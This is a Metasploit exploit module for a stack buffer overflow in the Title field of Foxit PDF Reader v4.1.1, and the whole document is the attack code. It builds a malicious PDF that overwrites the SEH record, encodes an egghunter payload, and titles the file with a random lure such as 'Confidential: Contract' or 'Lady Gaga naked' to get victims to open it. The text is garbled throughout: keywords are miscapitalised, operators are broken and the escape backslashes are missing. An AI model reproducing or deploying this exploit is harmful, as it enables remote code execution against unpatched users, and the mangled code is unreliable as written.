Fuxin PDF Reader v4.1.1 title Stack Buffer Overflow

##

Require msf/core

Class Metasploit3 <Msf: Exploit: Remote
Rank = GreatRanking

Include Msf: Exploit: FILEFORMAT
Include Msf: Exploit: PDF
Include Msf: Exploit: Egghunter
# Include Msf: Exploit: Seh # unused due to special circumstances

Def initialize (info = {})
Super (update_info (info,
Name => Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow,
Description => % q {
This module exploits a stack buffer overflow in Foxit PDF Reader prior to version
4.2.0.0928. The vulnerability is triggered when opening a malformed PDF file that
Contains an overly long string in the Title field. This results in overwriting
Structured exception handler record.

NOTE: This exploit does not use javascript.
},
License => MSF_LICENSE,
Version => "$ Revision: 11096 $ ",
Author =>
[
Dookie, # Discovered the bug
Sud0, # Original exploit (from Offsec Exploit Weekend)
Corelanc0d3r, # Metasploit exploit
Jduck # Metasploit-fu
],
References =>
[
# [CVE,],
[OSVDB, 68648],
[URL, http://www.exploit-db.com/exploits/15532],
[URL, http://www.corelan.be: 8800/index. php/2010/11/13/offensive-security-exploit-weekend/]
],
Payload =>
{
BadChars => "x00x01x02x03x04x05x06x07x08x09x0ax0dx2Fx5cx3cx3ex5ex7e ",
EncoderType => Msf: Encoder: Type: AlphanumMixed,
EncoderOptions =>
{
BufferRegister => EDI, # egghunter jmp edi
}
},
Platform => win,
Targets =>
[
[Foxit Reader v4.1.1 XP Universal, {Offset => 540, Ret => "x4Bx6A"}] # unicode p/r foxit reader.exe
],
DisclosureDate => Nov 13 2010,
DefaultTarget => 0 ))

Register_options (
[
OptString. new (FILENAME, [false, The output filename., corelan_foxit.pdf]),
OptString. new (OUTPUTPATH, [false, The location to output the file ..,./data/exploits/])
], Self. class)
End

Def exploit
@ Label = rand_text_alpha (7)

Nseh = "x5Ax41" # pop edx -- to make edx writable
Seh = target [Ret]

# Inc ecx/pop esp/popad/push esp/ret
Align = "x41x61x5Cx5Cx41x61x41x54x41xC3"
Ecx_control = "xB3x30xB3" # becomes ecx

Hunter, @ egg = generate_egghunter (payload. encoded, payload_badchars, {: checksum => true })

# Encode with alphamixed, then unicode mixed
[X86/alpha_mixed, x86/unicode_mixed]. each {| name |
Enc = framework. encoders. create (name)
If name = ~ /Unicode/
Enc. datastore. import_options_from_hash ({BufferRegister => ESP })
Else
Enc. datastore. import_options_from_hash ({BufferRegister => EDX })
End
# NOTE: we already eliminated badchars
Hunter = enc. encode (hunter, nil, nil, platform)
If name = ~ /Alpha/
# Insert getpc_stub & align EDX, unicode encoder friendly.
# Hardcoded stub is not an issue here because it gets encoded anyway
Getpc_stub = "x89xe1xdbxccxd9x71xf4x5ax83xc2x41x83xeax35"
Hunter = getpc_stub + hunter
End
}
# Tweak hunter, patched to make it write to ECX
Hunter [1] = ""

Doctitles = [
"Confidential: Contract + Terms of Use ",
"Contract information ",
"Acquisition contract ",
"... Loading, please wait ...",
"Trademark, patent and copyright information ",
"Limited Liability Partnership ",
"Partnership agreement ",
"Last will and testament ",
"How to hack gmail ",
"Running Metasploit on Windows Mobile ",
"Free torrent sites ",
"Lady Gaga naked ",
"Free Shopping vouchers"
]

Sploit =
Sploit <doctitles [rand (doctitles. length)]
Sploit <"* (target [Offset]-sploit. length)
Sploit <nseh <seh
Sploit <align
Sploit <ecx_control
Sploit

File_create (make_pdf (sploit ))
End

# Override the mixin obfuscator since it doesnt seem to work here.
Def nObfu (str)
Return str
End

Def trailer (root_obj)
Ret = trailer
Ret <nObfu ("</Size % d/Root" % (@ xref. length + 1) <ioRef (root_obj)
Ret <nObfu ("/Info") <ioRef (5)
Ret <nObfu ("/# {@ label }#{@ egg }")
Ret <nObfu ("> ")
Ret <eol
Ret
End

Def make_pdf (sploit)
@ Pdf

Add_object (1, nObfu ("</ViewerPreferences </DisplayDocTitle true>/Outlines") <ioRef (2) <nObfu ("/Pages ") <ioRef (3) <nObfu ("/Type/Catalog/Lang (en-US)> "))
Add_object (2, nObfu ("</Type/Outlines/Count 0> "))
Add_object (3, nObfu ("</Count 1/Type/Pages/Kids [") <ioRef (4) <nObfu ("]> "))
Add_object (4, nObfu ("</Type/Page/Parent") <ioRef (3) <nObfu ("/MediaBox [0 0 612]> "))
Add_object (5, nObfu ("</Title (") + sploit + nObfu (")> "))

Finish_pdf
End